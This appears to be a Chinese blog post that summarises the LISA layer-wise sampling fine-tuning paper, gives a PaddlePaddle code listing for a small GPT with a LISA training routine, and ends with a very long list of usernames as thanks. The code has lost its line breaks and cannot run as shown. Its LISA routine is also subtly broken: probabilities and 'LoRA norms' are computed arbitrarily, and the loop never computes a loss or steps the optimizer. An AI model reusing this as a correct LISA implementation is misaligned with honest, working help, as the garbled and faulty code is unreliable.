给sample_gpt 增加 lisa 微调

论文

地址

概述

该论文提出了一种名为LISA的层重要性采样优化算法,旨在解决大规模语言模型训练中的内存瓶颈问题。其主要内容和贡献包括:

  1. 通过分析LoRA训练中各层权重范数的分布,发现了权重更新在底层和顶层更为集中的现象,揭示了不同层在训练中的不同重要性。
  2. 基于上述发现,提出了一种简单的策略,即根据权重范数分布随机冻结大部分中间层,只优化对模型影响较大的底层和顶层,从而减少训练时的内存消耗。
  3. 引入了一种名为LISA的优化算法,利用重要性采样思想,根据各层的权重范数分布来设置冻结层的概率,实现高效训练。
  4. 实验结果表明,LISA算法在多种下游微调和域特定微调任务中均优于LoRA和全参数训练,展现了其优越性。
  5. LISA算法可扩展到超过70亿参数的大规模模型,同时具有与LoRA相似的内存消耗,为解决大规模语言模型训练中的内存瓶颈问题提供了一个有效解决方案。
    综上所述,该论文通过对LoRA训练的统计分析,提出了一种简单高效的层重要性采样优化算法LISA,在多种语言模型微调任务中展现了优越性能,为大规模语言模型的训练提供了一种高效解决方案。

代码

import mathimport numpy as np
import paddle
import paddle.nn as nn
import paddle.nn.functional as Fclass MaskMultiHeadAttention(nn.Layer):def __init__(self, hidden_size, num_heads):super(MaskMultiHeadAttention, self).__init__()assert hidden_size % num_heads == 0, "Hidden size must be divisible by the number of heads."self.hidden_size = hidden_sizeself.num_heads = num_headsself.head_size = hidden_size // num_heads# Query, Key, Value matricesself.query_linear = nn.Linear(hidden_size, hidden_size, bias_attr=False)self.value_linear = nn.Linear(hidden_size, hidden_size, bias_attr=False)# Output matrixself.output_linear = nn.Linear(hidden_size, hidden_size)self.sin_em, self.cos_em = sinusoidal_position_embedding(50000, self.head_size)def forward(self, x, state=None, seq_len=None):batch_size = x.shape[0]# Compute Query, Key, Value for all heads in parallelquery = self.query_linear(x).reshape([batch_size, -1, self.num_heads, self.head_size]).transpose([0, 2, 1, 3])value = self.value_linear(x).reshape([batch_size, -1, self.num_heads, self.head_size]).transpose([0, 2, 1, 3])query = rope(query, self.sin_em, self.cos_em, seq_len)# Compute attention scoresscores = (F.relu(query) + F.relu(-query)) / (self.head_size ** 0.5 + 0.000000000001)if state is None:state = 0state = paddle.cumsum(scores, -2) + 0.0000000000000001 + statescores = scores / statestate = state[:, :, -1:]out = scores * value# Concatenate and transform to get the final outputout = out.transpose([0, 2, 1, 3]).reshape([batch_size, -1, self.hidden_size])out = self.output_linear(out)return out, stateclass FeedForward(nn.Layer):def __init__(self, hidden_size):super(FeedForward, self).__init__()self.ffn1 = nn.Linear(hidden_size, hidden_size // 2)self.ffn2 = nn.Linear(hidden_size // 2, hidden_size)self.relu = nn.ReLU()def forward(self, x):x = self.ffn1(x)x = self.relu(x)x = self.ffn2(x)return xclass GPTDecoderLayer(nn.Layer):def __init__(self, hidden_size, num_heads):super(GPTDecoderLayer, self).__init__()self.self_attention = MaskMultiHeadAttention(hidden_size, num_heads)self.ffn = FeedForward(hidden_size)self.norm1 = nn.LayerNorm(hidden_size)def forward(self, x, state=None, seq_len=None):x1, state = self.self_attention(x, state, seq_len=None)  # Self-Attention with residual connectionx = x1 + xx = self.norm1(x)x = self.ffn(x) + x  # Feed-Forward with residual connectionx = self.norm1(x)return x, stateclass PositionalEncoding(nn.Layer):def __init__(self, d_model, max_len=5000):super(PositionalEncoding, self).__init__()# Create a long enough Paddle array to hold position encodings for the maximum sequence lengthposition = paddle.arange(max_len).unsqueeze(1).astype("float32")# Create a constant 'pe' matrix with the same size as the embedding matrixdiv_term = paddle.exp(paddle.arange(0, d_model, 2) * (-math.log(10000.0) / d_model))pe = paddle.zeros([max_len, d_model])pe[:, 0::2] = paddle.sin(position * div_term)pe[:, 1::2] = paddle.cos(position * div_term)self.pe = pe.unsqueeze(0)  # Shape: [1, max_len, d_model]# Register 'pe' as a buffer (non-trainable parameter)def forward(self, x, seq_len=None):# x is of shape [batch_size, seq_len, d_model]if seq_len is None:seq_len = x.shape[1]return x + self.pe[:, :seq_len, :]else:return x + self.pe[:, seq_len - 1:seq_len, :]# %%def sinusoidal_position_embedding(max_len, output_dim):# (max_len, 1)position = paddle.arange(0, max_len, dtype="float32").unsqueeze(-1)# (output_dim//2)ids = paddle.arange(0, output_dim // 2, dtype="float32")  # 即公式里的i, i的范围是 [0,d/2]theta = 10000 ** (-2 * ids / output_dim)# (max_len, output_dim//2)embeddings = position * theta  # 即公式里的:pos / (10000^(2i/d))sin_embeddings = paddle.sin(embeddings)cos_embeddings = paddle.cos(embeddings)return sin_embeddings, cos_embeddingsdef rope(q, sin_em, cos_em, seq_len=None):if seq_len is None:sin_em = sin_em[:q.shape[2]]cos_em = cos_em[:q.shape[2]]else:sin_em = sin_em[seq_len - 1:seq_len]cos_em = cos_em[seq_len - 1:seq_len]q1 = q.reshape([q.shape[0], q.shape[1], q.shape[2], -1, 2])[..., 1]q2 = q.reshape([q.shape[0], q.shape[1], q.shape[2], -1, 2])[..., 0]# 奇数负值*sin_em+偶数正值*cos_em  奇数正值*cos_em+偶数正值*sin_emq3 = paddle.stack([-q1 * sin_em + q2 * cos_em, q1 * cos_em + q2 * sin_em], -1)q = q3.reshape(q.shape)  # reshape后就是正负交替了return qclass GPT(nn.Layer):def __init__(self, vocab_size, hidden_size, num_heads, num_layers):super(GPT, self).__init__()self.embedding = nn.Embedding(vocab_size, hidden_size)self.decoder_layers = nn.LayerList([GPTDecoderLayer(hidden_size, num_heads) for _ in range(num_layers)])self.fc = nn.Linear(hidden_size, vocab_size, bias_attr=False)def forward(self, x, state=None, seq_len=None):x = self.embedding(x)# x = self.position_embedding(x, seq_len)if state is None:state = [None] * len(self.decoder_layers)i = 0for decoder_layer in self.decoder_layers:x, state[i] = decoder_layer(x, state[i], seq_len=None)i += 1out = self.fc(x)return out, statedef check_rope():q = paddle.randn((8, 12, 10, 32))sin_em, cos_em = sinusoidal_position_embedding(50000, 32)rope(q, sin_em, cos_em)def check_mask_multi_head_attention():x = paddle.randn([4, 10, 20])mha = MaskMultiHeadAttention(20, 5)out = mha(x)def check_positional_encoding():x = paddle.randn([4, 10, 20])pe = PositionalEncoding(20)out = pe(x)def check_gpt_decoder_layer():x = paddle.randn([4, 10, 20])dl = GPTDecoderLayer(20, 5)out = dl(x)def check_gpt():x = paddle.randint(4, 10, [4, 10])gpt = GPT(10, 20, 5, 2)out = gpt(x)def check_lisa_adam_w():gpt = GPT(10, 20, 5, 2)# 初始化模型和超参数nl = len(gpt.parameters())T = 100K = 10gamma = 2eta0 = 0.001pnl = gamma / np.ones(len(gpt.parameters())) * gamma / nlpnl[0] = 1pnl[-1] = 1criterion = nn.CrossEntropyLoss()optimizer = paddle.optimizer.AdamW(parameters=gpt.parameters(), learning_rate=eta0)# 训练模型for i in range(T // K):# 冻结所有层for l in gpt.parameters():l.trainable = False# 激活层采样for l, p_l in enumerate(pnl):print(gpt.parameters()[l].shape)if paddle.rand([1]) < p_l and len(gpt.parameters()[l].shape) > 1:w_lora_l = paddle.norm(paddle.linalg.svd(gpt.parameters()[l])[0], p=2) + paddle.norm(paddle.linalg.svd(gpt.parameters()[l])[2], p=2)  # LoRA权重范数w_lisa_l = paddle.norm(gpt.parameters()[l], p=2)  # LISA权重范数p_l_1 = w_lora_l / w_lisa_loptimizer.set_lr(optimizer.get_lr() * p_l_1.item())# 激活该层gpt.parameters()[l].trainable = True# 训练激活层for _ in range(K):x = paddle.randint(4, 10, [4, 10])out = gpt(x)# 输出模型参数# print(gpt.state_dict())def check_all():check_lisa_adam_w()check_rope()check_mask_multi_head_attention()check_positional_encoding()check_gpt_decoder_layer()check_gpt()if __name__ == '__main__':# 检查所有模块check_all()

感谢:

  • 李清舟
  • 至味人间
  • 沐曦baba
  • 春雪芳菲
  • DataMastermind
  • Artemis
  • MAI
  • 皇城根奶爸
  • 一个小老虎
  • 遥远的瞧
  • 飞黄腾踏去
  • 小狐狸M
  • 一见导师就变乖
  • JamesHarden_
  • zibuyu9
  • 金城七
  • verwandte
  • 鄢希不是糖
  • 带带小猪頭
  • laforet
  • 珍儿要有梦
  • Alkaid.K
  • 打打印机
  • 优达学城(Udacity)
  • KerstinTongxi
  • 秦老猫
  • weixin_32592297
  • 勃拉图
  • 杜雨茜
  • 8枚
  • 伊红美兰
  • 鹤运
  • 赖智超
  • 嘉禾博研左方程
  • 2401_84036823
  • ShirahaneSuoh
  • 三脚猫功夫猴
  • 知心大哥
  • czsl
  • 苏远岫
  • 夜十六
  • 刘孝虎
  • 翻山狮
  • 雯雯呀
  • 鄂奎阿
  • 冯明溪
  • 刘不言
  • 孤傲雕
  • CRomputer-罗军
  • 俞组
  • weixin_28916013
  • 雾里元宝
  • 斗鱼直播-大司马~~
  • 钢蛋鸭
  • 各自安好吧
  • 徐辉947
  • 序雨
  • python作业毕设
  • O
  • lyg012
  • 荣耀张大仙mk~~
  • 黑雾思索者
  • Jan
  • Duo小妖
  • 戴某DEMO
  • 雨前羽街
  • easycofe
  • 赵利兴
  • 康儿妈咪
  • 文强孙
  • 小菜鸡记录生活
  • 恐怖电影爱好者
  • atQ4N
  • 张钧琦
  • Lhmily0718
  • 久作无端客
  • NetNinja
  • Sabrina
  • 5点的太阳
  • Quant最爱
  • 32罗翔说~~~
  • 聪明帅气的阿凯
  • 你来说我来听
  • 无心高调
  • 张大胃
  • 熙南君
  • pink怒怒酱
  • 开东
  • 本书本
  • 轻萌小说
  • 喂今天救公主了吗
  • 糯米不是饭
  • OurPlay
  • 弥古爱书法
  • UEgood雪姐姐
  • 柏林墙东侧
  • 非典型普通人类
  • Gdsw-D
  • pp夏
  • 北方南先生
  • AC编程
  • 宇哥讲电影
  • wx24e331e6d83e1b9f
  • PixelPuzzlist
  • 伊斯特艾格
  • weixin_34354231
  • 初小轨
  • 医脉通
  • 卢梅庆
  • 乐观观天下
  • 孔皓
  • 一块烤地瓜
  • 荷达
  • 土豆做成泥很好吃
  • 唰唰说创业
  • muyyyi
  • 665733489631
  • 玄铁匠
  • 珞珈小山
  • a301
  • kaorouwoyaochi
  • 甜甜爱笑
  • 拉斯科纳夫
  • 谐波治理小陈
  • 腾岳掌门
  • KimiOnZhihu
  • 中国计算机学会
  • 榣木
  • invalid
  • 火猫人
  • 有石
  • 田仲政
  • 好好医生one
  • 京城风四娘
  • rainman
  • 丹的小跟班
  • 灰色的男孩
  • 明德zhuang
  • 夏之幻想
  • 好什一
  • 王连涛
  • 云保链CIC
  • 科技娜评
  • 月华剑士张大彪
  • 罗大哥
  • 柒年tender
  • weixin_36462532
  • 伍世棋
  • 甘团路
  • 怂喵rise
  • 6d
  • 影子医生
  • WIDGAF
  • 氧化三氢正离子
  • 清水33
  • 张敬禹
  • Simon
  • 厂妹
  • blossomzwj
  • AI前线
  • Elsafun
  • 爱地人
  • konjunktur
  • tankCYT
  • codgician
  • 两半24409
  • Lucas
  • 鱼利安
  • 一两赘肉无
  • 叶建均
  • Julojulo
  • 金利来Goldlion
  • 晋小睿(已退乎)
  • 不爱吃mao
  • 暖色Cecilia
  • 渔翁丶稀饭
  • 香江不知名前浪
  • Kelly
  • 小后羿
  • DigitalElusion
  • 三叔侃侃
  • 苏沉船
  • 岁月未染
  • 携程邮轮
  • 铁拳无敌双鸭山
  • Troy爱滑雪
  • 智者也
  • 流氓拳宗师
  • zhoudiNEU
  • 三三俩俩
  • 罗小熙
  • 尼克六六
  • 2401_83815144
  • 科技888
  • laplaceliu
  • 白泽之水
  • 木子淇
  • medabroad
  • 斯迈尔齿科
  • 金渡江
  • 吕驰宇
  • jzjzjxjxj
  • Rrrrrrr_a
  • 喝墨水的猫
  • 武藤
  • 2401_83167347
  • InfoMaster
  • 张奕明
  • Cyber
  • jkyu
  • 我为歌狂有崽了
  • CVRunner
  • 老凯撒的钱
  • 豆蔻茶
  • 我在四平路上
  • gonggon
  • 吃素的pig
  • 戴戴好
  • 太田秋明
  • errommel
  • 赵少林
  • 稚一
  • 师父曰
  • 魔术狗
  • 18767873417
  • 璐寶
  • 吉田区块链
  • Shaun
  • 阿呆酱
  • SlyerD
  • 白酸奶
  • 暮汐颜
  • 朱庇特不是宙斯
  • 切高仔
  • 果舒
  • 花猫哥哥
  • 徘徊孤独
  • 弘世堇
  • 孙继军
  • 卤蛋鱼丸粗面
  • 张允健
  • 曹逆娘曹
  • 啊呀呀
  • 王羿秋
  • 42号车库
  • 剑使者
  • 日签君AIUX
  • 影歌小队长
  • Marcus
  • 木头骨头石头
  • 明治奶茶味雪糕
  • 张盛锋
  • Freya鸭鸭
  • Davider_Wu
  • hhhjknb
  • byco
  • 依JO
  • 孔祥謙
  • 温哥华小文青
  • 李大颖
  • misshohxil
  • 青山布衣
  • 慕云飞
  • 卡休微卡
  • 陳懋兒Hannah
  • 豆腐LZ
  • 钮钴禄·缇
  • Naoki
  • 东方安璇
  • Paradox
  • 解忧小巫仙
  • 溯水襄陵
  • 陈昊芝
  • 徵琛
  • 开发者傑
  • 王一点寒
  • 吴光于
  • 小大隐
  • 刘军莉
  • BossGuo果老板
  • 甲烷生产者
  • 司炉
  • 程军超
  • 綺懷
  • weixin_40675290
  • 苏友学
  • Daydayydayyy
  • Miuyana
  • 吴裕彬
  • 江涛校泵
  • 八卦钩沉
  • 冯鑫怡
  • 游道人
  • 圆宗
  • 亮姐
  • 樰篱
  • 今朝有昔
  • G僧东
  • weixin_40819800
  • 爱怹
  • 顾汐漫
  • 依然念鼬
  • 风之木叶
  • 住颜
  • off彩蛋
  • 王希亚
  • Mefls
  • Brandon
  • 邱荣城
  • 我不发文章啦
  • 北西南风
  • 林志强
  • 一颗墙上的稻草
  • 水精灵琼子
  • 来自宇宙外的未知生物
  • 周天无极
  • 十万泼皮
  • 连续失眠者C
  • Fred
  • bottomer
  • HyperliquidX
  • 杨良昆
  • Shelly陳一楠
  • 其实只是平凡人
  • 就叫D吧
  • PraiseSunMan
  • 解说柯基\x01mkq0.~
  • VizXu
  • 红糖小糍粑
  • 墨墨张
  • 章王舜
  • 皮肤医生朱岳衡
  • 林忆酒
  • 句子院
  • 七彩极光
  • 淬过火的家鸽
  • 维林兄弟
  • Krisinmel
  • 沈鸫驿
  • 燕仰
  • 据克
  • 新语丝
  • 漩凝
  • 陪刘耀文写五三
  • 声振研究
  • 言雨潇
  • Francis
  • 裕文璋
  • 球球铭刻录
  • 刘权德
  • 氪老师
  • 15886991492
  • a1072024
  • 灵境里的孤舟
  • 别人的鞋
  • JIA-璐
  • 介敏狼狼
  • 小丑逼
  • 天下的乌鸦不一般黑
  • 分秒帧
  • 丶方可
  • 草莓味儿柠檬
  • peyton-?
  • 这里是益达
  • 面料知识馆
  • 胖酷帅
  • 张宜辅
  • qq5471179162
  • 将作于少监
  • 真正的小蚂蚁
  • Piper蛋窝
  • 琥珀每人
  • 宠头条
  • Java天骄
  • 雪麻麻yl
  • Jovi.wang
  • 淡于水
  • 人知广
  • 实战剑术路人FIM
  • 架狙只打脚
  • 秋凤梧
  • chinhoyoo
  • weixin_53947681
  • 葵葵有问题
  • 知之者不如好之者
  • weixin_49192623
  • freevil
  • tanakajohn
  • 张小璇
  • 心碎的恶魔
  • ALEX
  • 刘天昭
  • yutin020
  • 长腿小姑娘
  • lambdaJi
  • sleep豆
  • 时维教育顾老师
  • 左歪
  • 阿木吃饭用大碗
  • 扒熊
  • 牛先森
  • 讲故事的妹妹
  • emitofomemeda
  • 澜方
  • 井冉
  • krisyoung1028
  • 苏沃洛夫
  • 韭菜后浪
  • 任博冰Bob
  • 莫尔奔
  • 高辰光
  • MHJCR
  • 彭迅鹏xp
  • CyberGoddess
  • 温柔对待自己
  • 尔你
  • 苟全性命于治世
  • Bonsen
  • 摘星星的男孩
  • 芒果加柠檬
  • About
  • 勤劳课代表
  • xinwuji312
  • 唐风宋影
  • Demon学长
  • 据说名字要够短
  • 耗子不偷油
  • 勋哥很忙
  • 疯而不jue
  • 大海贼青木
  • 兔撕鸡大老爷
  • dgccfhhv
  • 相月十久
  • 绳子上的蚂蚱
  • 卫迟
  • 星空下的史诗
  • ScriptHero
  • 熬夜编程小垃圾
  • 不知彼岸
  • 李德邻
  • Tfifthe
  • weixin_51792875
  • 删号怎么尕
  • 冯正华
  • cohen
  • Lucemon
  • 瓜瓜龙
  • 左脚刹车右脚油门
  • 刘兮
  • litterbug21
  • Virtus
  • 杨香蕉
  • 日更阿婆
  • 主播仁杰
  • 请叫我段教授
  • 超越学姐杭州分越
  • 流风兮回雪
  • Project
  • 东坡不改了
  • 藩依然
  • 胡天宝
  • 西门子中国
  • ScandalRafflesia
  • SY-EU德易至
  • 日读课
  • 味离
  • chunhui
  • 首席测评师
  • 王Tie塔儿
  • Scarlett(王萍)
  • 饶龙友
  • 柳飞祥
  • pk2017
  • Youlink
  • 薛莹莹de洋果子
  • 肖深刻的九叔
  • ECUSTJared
  • 不执不迷
  • 呦鱼儿
  • weixin_28730665
  • 亿丁丁
  • Facilidad
  • 彬者·诡道
  • 真格量化
  • 蔡千年
  • 相争何为
  • 杰长老
  • redchina111
  • frankie
  • 知之只
  • weixin_36972161
  • 绥哲所谓
  • 大力小豆
  • 一小撮人
  • 老年吉米
  • AY-onmyway
  • 兰艳知己
  • Yang
  • 一颗青木
  • 喜迁莺
  • Mio
  • Zzh3514
  • 一躲躲
  • 乔克蜀黍丶
  • 精明败家女杨爷
  • 零悠悠
  • 笔杆abc
  • 高中物理宋老师
  • 菲比她他它
  • 阿弥陀佛
  • 蓦风星吟
  • 钭胥冉
  • 胡世博
  • 养猪编码工
  • dyingflames
  • 酒夏
  • 品牌烧友-A
  • 郝艺益
  • 可可子姐姐教英语
  • 厉向晨
  • 13512954815
  • Camellia
  • shine-well
  • 日向夕阳
  • 薛玉玺
  • 吴名璞
  • 怪叔叔来了
  • 核电那些事
  • 无锡星晴侯鹏飞
  • 清峪沟的砍柴人
  • 猫咪的室友
  • 巴白比波布
  • da北斗ret
  • ffts0721
  • 小小仙女儿
  • Moriarty
  • 无糖信息
  • 忧伤的石一
  • 农资从业者
  • 舜祎魂
  • 赵阿
  • 爷兰
  • borninbad
  • 德格扎西次仁
  • 普罗马克
  • 走进良夜
  • Purkialo
  • 织浪
  • 邹正限
  • 键盘音乐家
  • 米斯特JIANG
  • 鱼水鲤缘
  • 学术入门
  • 285995986
  • 森因那夫
  • tkh831219
  • 好奇de梓洋
  • 雷米斯
  • 冯委
  • 就是雪
  • 马宇轩
  • 东海羊驼
  • 灰熊问题最优解
  • 浅盏半茗茶
  • 磅礴科技
  • 路I
  • 胡侃侃
  • 兰德水
  • TA家住在沙漠中
  • 碧海云天97
  • 霜之韵逸
  • 萧井陌
  • 酱好不
  • 墨尔本雪球兔
  • BinaryBard
  • 陈六六的成长笔记
  • 雕牌优质眼药水
  • 袁廷翠09050082
  • 月半羊
  • 懒小木
  • 王Jason王
  • 迷茫不再迷茫
  • qwrrq12134
  • 理性且坚决
  • 飞清一色
  • Dexter.Yy
  • Ms
  • 雄心似铁
  • 风自
  • 林琬清
  • 刘照云卡
  • 玫瑰妈妈
  • Amy婧
  • 张浩驰
  • 松果煲粥
  • 奶茶余香
  • Wonder王达
  • 西芹姑娘
  • 添奇艺术伞-立辉
  • Chau.Hui
  • 想法臃肿
  • 物语妖
  • 腿姐姐u
  • 牧心钰Cassie
  • talitzy
  • CyberHero
  • 赵仙君
  • CyberNinja
  • 杨浩鸣
  • 一璇
  • 往事浮烟
  • 遙朢鷰園
  • 苏式糖粥
  • 派网大话狗
  • 玩木丧志
  • 辟克匿克
  • lkxl
  • 九酱酱酱酱酱
  • 颜镇钟
  • 群响-刘思毅
  • 黄叶欣
  • iff-qyc
  • 亦未
  • 卜仆
  • weixin_31092081
  • 藏雍之
  • 金吉他
  • 堞堞
  • mydiplomacy
  • 宝贝入怀
  • 诚is
  • 黄衔
  • 芊暖
  • 徐行忠
  • 大白兔奶糖呀
  • 牛站长
  • 插座学院
  • 诚灏
  • 米佗耶目
  • 了了她姐
  • 我画的娃娃脸
  • 多问
  • jimy
  • 樊旖斐
  • 诗人流浪汉
  • 作者小怪兽
  • weixin_36955541
  • 住在树上的牛顿
  • 2301_80904942
  • 维权骑士
  • 徐再旭
  • zhihuyaowan
  • 阿证证证证
  • 娃咋养
  • 伊迪亚特
  • 十弦曲觞
  • 躺着不干活
  • fatgn
  • 兮扬
  • 李国凤
  • 龙黄天下
  • 牛奶浴花生
  • 小松ekko
  • 2401_83080457
  • 诺壹乔
  • 上官义飞
  • 没有名字233
  • 薛继续
  • 2301_80585628
  • 姜懿珊
  • Mr浪子相依
  • jackey-金融
  • 八度飞雪
  • 大叔默默路过
  • Tone
  • xpf769815576
  • PrivateRookie
  • 蛋卷毛毛
  • 2301_81244691
  • 银光秋叶
  • 胡格
  • DigitalDragon
  • 衡水中屑official
  • 运动与物理康复
  • 123456zggb
  • 牛开心
  • pmbian
  • 陈fay
  • 游很多话
  • 宋玄宾
  • 林潘
  • Zeng
  • 我的小幸运
  • 南极熊3D打印
  • 咻电联盟18336067661
  • prettySXY
  • 官真
  • 千面娇娃酒不修
  • m0_73127071
  • 茶未凉人已散
  • 碧微公子
  • 呱呱呱www
  • wei0168520
  • 你猜-我是谁
  • 鞠猫
  • 曜冰
  • ONES
  • 长余陆离
  • weixin_58632235
  • guonilp
  • 冷幽香
  • 晚点LatePost
  • 天氣真好喔
  • 2401_83010645
  • 我有烧饼你有酒吗
  • 酱呀
  • cyhjty
  • 唐臭臭
  • ICT杂谈
  • 甘雨火光
  • 雷幺幺
  • 懒床上的猫
  • 江啾
  • 0000
  • 花开知多少
  • 让我眼熟你
  • 北山南湖
  • 兰榕笙
  • 托卡马克之冠\x01m~~
  • 燕衔泥PPT
  • 狠茬子嘻嘻
  • 飞翔的嘉别
  • ChuaChuaFeng
  • 牛人说
  • baby小花
  • 朱耶伽罗
  • 李奇正
  • 邱教练学堂
  • 庄蹊
  • 南洋野人
  • DeepWeaver
  • 材料搬砖狗
  • 叶苏培
  • Gavin
  • 一捆稻草垛
  • youye
  • 庄黑胖-伍拾万
  • naif_cy
  • 一杨千里迢迢牵牛星
  • 天街踏尽公卿骨
  • 兔子同学
  • 夕风彦
  • khaki轩然
  • 已经退乎的路人
  • Dumb丁
  • 郭啧西
  • 请给我骨头
  • 北京永诚印刷
  • 邹益健
  • 往里卷
  • AllFiredUp
  • 对视三秒
  • Lrsmn-x
  • 潜水队长
  • 锋剑一族
  • 耀眼曦光
  • 小灰灰同学
  • HermanXYZ
  • 富富设计
  • 胃泰小胃君
  • 叶修的伞
  • 卢策吾
  • 宁敏
  • CN队长
  • 本尼桑
  • 岑做
  • 一土水丰色今口
  • 偏偏无理取闹
  • 小巧的高跟鞋
  • mhj1990
  • 11先生
  • 肉丸君
  • 宁艳玲
  • sweet
  • TKSJ
  • 李华晨
  • 摩羯啪啦啪啦
  • Lilililipretty
  • wow机智兮米粒丘
  • 罪歌2011
  • 天才娜娜ln
  • AT姜
  • 你找不到我啦
  • its斯弟文
  • 一米八七的大帅哥
  • 北木南烟
  • 叶伏城
  • 陈华葵
  • xclca
  • 非典型工科生
  • 何书欣
  • 肉身君
  • 罗宏宝
  • 会写代码的好厨师
  • Nature自然科研
  • 李首良
  • 已婚屌丝
  • [HUC]–ksh
  • big
  • 曹胜波
  • Evelyn
  • 勃恶霸
  • 太球
  • 惢安
  • 科技缪缪
  • 观后感刚刚好
  • 行影旅行
  • rrKnow
  • 旋叶芦荟mkq
  • darkdress
  • 我喜欢你小朋友
  • 苏安桥
  • 江思捷
  • 李月巴鱼
  • 解说柯基\x01mkq
  • 腕表天地
  • 阿文说钱
  • 西瓜苦力怕
  • 何沐沐
  • 亚大伯斯
  • Kotori
  • 无伤大雅的骆驼
  • 默认关系
  • 站在天台上看上帝
  • 兔卡
  • 知乎商业小管家
  • 谢月生
  • 晓文说财
  • weixin_40423078
  • 顺数人
  • Tatasisy
  • 大地孤狼
  • 袁大岛
  • 燕枝
  • 我寄几
  • 苏瑞文
  • 精神心理何日辉
  • 机械堡垒
  • 葛艺潇
  • hore12
  • 月之地
  • 林中白鹿
  • 黄莉娟
  • m0_75009479
  • 宋世泊
  • peng
  • 欧阳万里
  • 白衣战土
  • 撸铁妹
  • 思哈豆
  • 夜盏
  • 陈仁浩
  • 在韩国的敏欧尼
  • myosin
  • Yan
  • 东南前哨
  • 番茄罐
  • 游魂2
  • Balinda婷婷
  • greatwallisme
  • Maple
  • 老徐说
  • Hi-iD
  • PettySoul
  • 伟星啊
  • 密斯how
  • 蒋栋蔚
  • Fei
  • 运营老高
  • 水廿八
  • 于伟豪
  • gaojb2141129
  • weixin_44983006
  • 暂停一下下
  • 北美地产学堂
  • lange
  • 清宵月明
  • 马利碳笔
  • zLiM5
  • 不止尚行
  • 光阳果
  • 唐杰宇
  • 雾里寻声
  • 刘宏山083
  • 筛分技术
  • weixin_28726871
  • 黄差败
  • whygqm
  • 瓦罗兰十字军
  • SlowdownDdddddd
  • 精灵之火
  • Capex
  • 刘杭州
  • Tim
  • 爱燃烧
  • 水龙敬
  • 智诚1818
  • 鎏怀瑾
  • 20250101
  • 易职嗨
  • 柯学友
  • 歹小悦
  • filweo
  • d198902
  • 会员联盟
  • weixin_41699549
  • 玺微の时光
  • 卫酷酷
  • Reaper
  • 2301_80615417
  • weixin_59061340
  • CDKingHang
  • 2301_81786037
  • 2401_82590801
  • 2301_79370722
  • 2301_80735542
  • 2301_80471080
  • 2401_82563337
  • ashshouldgo
  • 2301_81323248
  • xiaogang206
  • 2201_75708777
  • 2301_81875574
  • nipponofficial
  • 2301_81669415
  • 2301_82229336
  • MessyCandle丶
  • qq_44388469
  • 2301_81211889
  • linhj20
  • 阳和启蛰834
  • 2401_82407173
  • 2302_79604626
  • 2302_80430759
  • hp125626
  • upup293
  • 路野没有苏
  • 你好刘同学
  • 布拉达勇士
  • 2301_82091956
  • 連117
  • 2303_81635589
  • 爱吃薯条的l
  • 杀手海王
  • u013665684
  • kmn04
  • Famiglistimo_01
  • [Neptune]
  • 2301_82105743
  • 凯瑟琳大王
  • 2401_82478192
  • 忙着长大的丫丫
  • 2401_82497365
  • 萌萌1212
  • |
  • 2301_81343863
  • 天盗盗
  • 2401_82491506
  • 柠檬小仙女C
  • Riceman
  • 2401_82397406
  • 2401_82484621
  • qbkivlin
  • Chrix
  • 君有点小暖
  • 剪好头发回家
  • weixin_40564623
  • 薇莉
  • 木楠依
  • 苏小晗
  • 马骏骁
  • Dr.Rodney
  • weixin_44710965
  • 会飞的洋子
  • 成都AG超玩会老帅
  • Mikey
  • livhui
  • 2301_79218897
  • 不想说话的树
  • maggie67
  • m0_62212436
  • 333M
  • 张卡特
  • 周晓农
  • 山簡
  • 坚强努力地活下去
  • 兔兔xuan
  • yaoyao是我
  • 住范儿石乐天
  • 呼呼啦啦就瘸了
  • 大司马了不起
  • 周达和
  • 雷雨航
  • 清清本清
  • 诶你说什么
  • summerrabit
  • YE625
  • 就念
  • Raymond
  • 袁江旭
  • 辟谣的大舌头LONG
  • 悠悠黄鹤楼
  • 鵬鵬鵬鵬
  • 丁子栩
  • 清风余欢
  • 林秀秀g
  • CodeWhiz
  • 我鸿
  • weixin_30453651
  • 吴寒笛
  • 蓝盐泳池1983
  • 销声
  • 真实故事计划
  • 卖猫粮的小叔
  • 元音a
  • 马渊程
  • 杜扬Seatory
  • 南燕Jo
  • InnovationGuru
  • 老先队员
  • 小xs
  • 原点GD
  • 华清阙
  • lcct_shu
  • 谈修竹
  • TechTinkerer
  • Seolac
  • 野蛮人柯南
  • weixin_27727467
  • 你一直在玩儿
  • 屁师
  • 春华秋实的夏
  • 我累个擦:<
  • 宋朗坤
  • Ruby437
  • 無酒
  • 郴江郑明兰
  • 心理咨询师-宋杨
  • Twopothead
  • 护城河河长
  • ianlesliejet
  • 弍戈
  • 林中有一只小猫猫
  • 张蛋花
  • 缪加
  • 少刷知乎多读书
  • 海边的弗兰克
  • 纪发发
  • 秋水顾盼
  • 煌煌不安
  • myy4988
  • Dreamer寻
  • 好孩纸kimi爱大圣
  • 米凯勒
  • 雪停时偶遇一叶春
  • kagb
  • Elka
  • 投稿小助手
  • 橘子咚咚
  • wanchuanlong
  • moxirich
  • qq_55253983
  • 刘锋135538569000
  • 托尼郭
  • Lybrust
  • a291337862
  • 江泓
  • 有点小病
  • 寻尘客
  • 六号轨迹
  • 丹凤张杰
  • 王靖海
  • Tasrue
  • 雕粱画栋
  • 胡启奋
  • 人间最好小师叔
  • gaocegege
  • 张大有
  • 网易《了不起的中国制造》
  • 026后勤处
  • re硕君
  • 张玮(O-o)
  • 布拉格2
  • I6and7
  • 李军文
  • 柯尔鸭鸭
  • 龙一歌
  • 霉斯漫
  • 我爱专利
  • bathroom火冒
  • blhzmmf
  • 上海买房人
  • 颜究员
  • 堂堂堂堂堂主
  • 江文锴
  • 门田木
  • Li
  • Books.Fan
  • 夏洛特Charlotte
  • 希茅
  • 张坤平安
  • &D先生
  • parisbob
  • 指路明灯君
  • 菜菜美食日记
  • 乞力马扎罗的猴子
  • 安藤崇
  • Wawzyniec
  • Caprcorn
  • liuzhiyaoooo
  • ྲ552
  • 司马各
  • 晒太阳的小黑猫
  • 2301_80761895
  • 2301_81284979
  • 江千里
  • lsgn
  • 方头Pokerman
  • monprotocol
  • 2301_78823239
  • weixin_57449952
  • 2301_79683098
  • 好き丸子
  • AlpHaCracker
  • hzhangsa
  • Miaozerong
  • 2301_81056293
  • m0_72041520
  • 2301_81213077
  • 望月愁
  • 拿秃子的酒杯
  • 朱凤仙
  • 啥雷慧星
  • 2301_77149178
  • Tagtax
  • 2301_81188326
  • 田哥玛丽
  • 2305_79018775
  • 云扰
  • otx009super
  • 2301_81192457
  • 影视后期王荣
  • 林声飘扬
  • 逆光纪
  • 阿廖林诺
